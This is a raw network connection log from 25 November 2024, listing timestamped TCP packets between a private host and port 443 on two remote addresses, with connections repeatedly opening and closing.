Nov 25, 2024 18:29:33.755105972 CET	49989	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.755146980 CET	443	49989	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.755256891 CET	49989	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.755445957 CET	49989	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.755460024 CET	443	49989	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.935667038 CET	443	49986	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.936331034 CET	49986	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.936350107 CET	443	49986	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.936852932 CET	49986	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.936857939 CET	443	49986	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.956162930 CET	443	49985	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.956192970 CET	443	49985	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.956254005 CET	49985	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.956265926 CET	443	49985	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.958154917 CET	49985	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.958163023 CET	443	49985	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.958178043 CET	49985	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.958333969 CET	443	49985	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.958368063 CET	443	49985	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.958416939 CET	49985	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.962979078 CET	49990	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.963013887 CET	443	49990	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.963093042 CET	49990	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.967046022 CET	49990	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.967056990 CET	443	49990	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.143363953 CET	443	49987	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.143935919 CET	49987	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.143956900 CET	443	49987	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.144443035 CET	49987	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.144448042 CET	443	49987	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.384664059 CET	443	49986	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.388030052 CET	443	49986	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.388098001 CET	49986	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.388098955 CET	443	49986	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.388154030 CET	49986	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.391194105 CET	49986	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.391216993 CET	443	49986	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.391227961 CET	49986	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.391233921 CET	443	49986	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.417021990 CET	49991	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.417051077 CET	443	49991	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.417124033 CET	49991	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.420350075 CET	49991	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.420362949 CET	443	49991	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.814802885 CET	443	49987	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.814877033 CET	443	49987	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.814939022 CET	49987	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.814955950 CET	443	49987	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.815004110 CET	443	49987	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.815051079 CET	49987	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.815260887 CET	49987	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.815275908 CET	443	49987	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.815290928 CET	49987	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.815295935 CET	443	49987	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.818330050 CET	49992	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.818367004 CET	443	49992	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:34.818439007 CET	49992	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.818588972 CET	49992	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:34.818602085 CET	443	49992	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.059842110 CET	443	49988	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.060398102 CET	49988	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:35.060412884 CET	443	49988	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.061001062 CET	49988	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:35.061007023 CET	443	49988	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.496464014 CET	443	49988	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.499347925 CET	443	49988	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.499414921 CET	49988	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:35.499455929 CET	49988	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:35.499480963 CET	443	49988	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.499495983 CET	49988	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:35.499505997 CET	443	49988	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.502804995 CET	49993	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:35.502837896 CET	443	49993	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.502918959 CET	49993	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:35.503123999 CET	49993	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:35.503137112 CET	443	49993	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.644700050 CET	443	49989	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.645261049 CET	49989	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:35.645276070 CET	443	49989	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.645755053 CET	49989	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:35.645760059 CET	443	49989	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.795809031 CET	443	49990	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.796741962 CET	49990	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:35.796771049 CET	443	49990	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:35.797241926 CET	49990	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:35.797247887 CET	443	49990	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.100663900 CET	443	49989	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.103842020 CET	443	49989	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.103912115 CET	49989	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.103971958 CET	49989	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.103987932 CET	443	49989	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.103997946 CET	49989	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.104005098 CET	443	49989	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.107264042 CET	49994	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.107299089 CET	443	49994	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.107420921 CET	49994	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.107544899 CET	49994	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.107558012 CET	443	49994	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.278620958 CET	443	49990	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.278678894 CET	443	49990	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.278882980 CET	49990	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.278925896 CET	49990	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.278925896 CET	49990	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.278944969 CET	443	49990	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.278955936 CET	443	49990	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.281373978 CET	49995	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.281399012 CET	443	49995	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.281477928 CET	49995	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.281634092 CET	49995	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.281650066 CET	443	49995	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.354742050 CET	443	49991	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.355252981 CET	49991	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.355262041 CET	443	49991	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.356110096 CET	49991	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.356113911 CET	443	49991	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.613653898 CET	443	49992	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.614248037 CET	49992	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.614268064 CET	443	49992	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.614785910 CET	49992	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.614792109 CET	443	49992	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.830705881 CET	443	49991	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.833792925 CET	443	49991	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.833869934 CET	49991	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.833884954 CET	443	49991	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.833955050 CET	443	49991	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.834011078 CET	49991	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.834038973 CET	49991	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.834038973 CET	49991	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.834053040 CET	443	49991	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.834059954 CET	443	49991	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.837268114 CET	49996	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.837301016 CET	443	49996	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:36.837384939 CET	49996	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.837543964 CET	49996	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:36.837558031 CET	443	49996	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.059468985 CET	443	49992	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.062865973 CET	443	49992	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.062939882 CET	49992	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.062983036 CET	49992	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.062999964 CET	443	49992	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.063009977 CET	49992	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.063015938 CET	443	49992	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.066025019 CET	49997	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.066063881 CET	443	49997	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.066140890 CET	49997	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.066265106 CET	49997	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.066279888 CET	443	49997	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.297863960 CET	443	49993	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.298577070 CET	49993	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.298599958 CET	443	49993	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.299015045 CET	49993	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.299021959 CET	443	49993	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.748797894 CET	443	49993	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.751400948 CET	443	49993	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.751447916 CET	443	49993	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.751473904 CET	49993	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.751523972 CET	49993	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.751600027 CET	49993	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.751616955 CET	443	49993	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.751632929 CET	49993	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.751640081 CET	443	49993	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.754739046 CET	49998	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.754770994 CET	443	49998	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.754847050 CET	49998	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.755059958 CET	49998	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.755073071 CET	443	49998	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.958019018 CET	443	49994	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.958550930 CET	49994	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.958589077 CET	443	49994	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:37.959157944 CET	49994	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:37.959163904 CET	443	49994	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.225404978 CET	443	49995	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.225891113 CET	49995	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.225908041 CET	443	49995	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.226388931 CET	49995	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.226396084 CET	443	49995	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.409224033 CET	443	49994	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.413976908 CET	443	49994	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.414045095 CET	49994	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.414081097 CET	49994	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.414097071 CET	443	49994	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.414107084 CET	49994	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.414120913 CET	443	49994	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.416759014 CET	49999	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.416800022 CET	443	49999	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.416884899 CET	49999	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.417046070 CET	49999	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.417062044 CET	443	49999	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.680542946 CET	443	49996	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.681181908 CET	49996	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.681206942 CET	443	49996	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.681540012 CET	49996	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.681545019 CET	443	49996	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.694894075 CET	443	49995	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.699301004 CET	443	49995	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.699350119 CET	443	49995	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.699470997 CET	49995	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.699470997 CET	49995	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.700166941 CET	49995	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.700167894 CET	49995	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.700187922 CET	443	49995	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.700196981 CET	443	49995	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.703088045 CET	50000	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.703118086 CET	443	50000	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.703202009 CET	50000	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.703330994 CET	50000	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.703342915 CET	443	50000	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.793817997 CET	50001	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:38.793847084 CET	443	50001	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:38.793910027 CET	50001	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:38.794641018 CET	50001	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:38.794653893 CET	443	50001	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:38.887578011 CET	443	49997	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.894026041 CET	49997	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.894045115 CET	443	49997	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:38.894486904 CET	49997	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:38.894491911 CET	443	49997	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.127907038 CET	443	49996	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.127986908 CET	443	49996	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.128068924 CET	49996	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:39.130394936 CET	49996	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:39.130409002 CET	443	49996	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.130445004 CET	49996	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:39.130450964 CET	443	49996	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.161911011 CET	50002	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:39.161948919 CET	443	50002	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.162151098 CET	50002	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:39.215306997 CET	50002	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:39.215332985 CET	443	50002	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.332348108 CET	443	49997	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.335577011 CET	443	49997	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.335650921 CET	49997	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:39.335686922 CET	49997	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:39.335701942 CET	443	49997	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.335711956 CET	49997	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:39.335717916 CET	443	49997	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.338212013 CET	50003	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:39.338257074 CET	443	50003	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.338335991 CET	50003	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:39.338468075 CET	50003	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:39.338481903 CET	443	50003	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.582912922 CET	443	49998	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.583388090 CET	49998	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:39.583410978 CET	443	49998	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:39.583848953 CET	49998	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:39.583856106 CET	443	49998	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.055789948 CET	443	49998	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.055855989 CET	443	49998	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.055974007 CET	49998	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.056222916 CET	49998	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.056240082 CET	443	49998	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.056256056 CET	49998	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.056262016 CET	443	49998	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.059032917 CET	50004	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.059067011 CET	443	50004	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.059139967 CET	50004	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.059271097 CET	50004	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.059287071 CET	443	50004	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.325912952 CET	443	49999	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.326679945 CET	49999	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.326700926 CET	443	49999	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.327158928 CET	49999	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.327162981 CET	443	49999	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.511076927 CET	443	50000	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.511534929 CET	50000	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.511547089 CET	443	50000	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.511985064 CET	50000	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.511989117 CET	443	50000	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.773310900 CET	443	49999	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.776304007 CET	443	49999	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.780241966 CET	49999	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.780399084 CET	49999	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.780399084 CET	49999	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.780421972 CET	443	49999	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.780433893 CET	443	49999	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.782814026 CET	50005	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.782840967 CET	443	50005	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.782931089 CET	50005	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.783083916 CET	50005	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.783099890 CET	443	50005	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.945514917 CET	443	50002	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.948879957 CET	50002	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.948903084 CET	443	50002	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.949357986 CET	50002	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.949363947 CET	443	50002	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.961519003 CET	443	50000	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.964786053 CET	443	50000	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.966640949 CET	50000	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.966820955 CET	50000	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.966831923 CET	443	50000	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.966844082 CET	50000	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.966849089 CET	443	50000	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.969551086 CET	50006	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.969589949 CET	443	50006	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:40.969679117 CET	50006	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.969806910 CET	50006	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:40.969816923 CET	443	50006	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.130322933 CET	443	50001	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:41.130397081 CET	50001	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:41.132265091 CET	50001	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:41.132272959 CET	443	50001	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:41.132476091 CET	443	50001	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:41.134433031 CET	50001	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:41.134495020 CET	50001	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:41.134499073 CET	443	50001	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:41.134646893 CET	50001	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:41.150835037 CET	443	50003	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.151325941 CET	50003	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.151351929 CET	443	50003	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.151752949 CET	50003	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.151758909 CET	443	50003	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.179332972 CET	443	50001	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:41.382477999 CET	443	50002	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.385756969 CET	443	50002	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.385802031 CET	443	50002	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.385813951 CET	50002	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.385854959 CET	50002	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.386003971 CET	50002	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.386018991 CET	443	50002	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.386029005 CET	50002	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.386034966 CET	443	50002	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.390991926 CET	50007	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.391041040 CET	443	50007	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.391104937 CET	50007	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.391578913 CET	50007	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.391594887 CET	443	50007	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.600460052 CET	443	50003	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.604003906 CET	443	50003	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.604090929 CET	50003	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.607120991 CET	50003	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.607141972 CET	443	50003	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.607151985 CET	50003	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.607156992 CET	443	50003	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.613116026 CET	50008	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.613154888 CET	443	50008	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.613228083 CET	50008	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.613513947 CET	50008	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.613527060 CET	443	50008	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.794714928 CET	443	50004	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.818542004 CET	50004	443	192.168.2.6	13.107.246.63
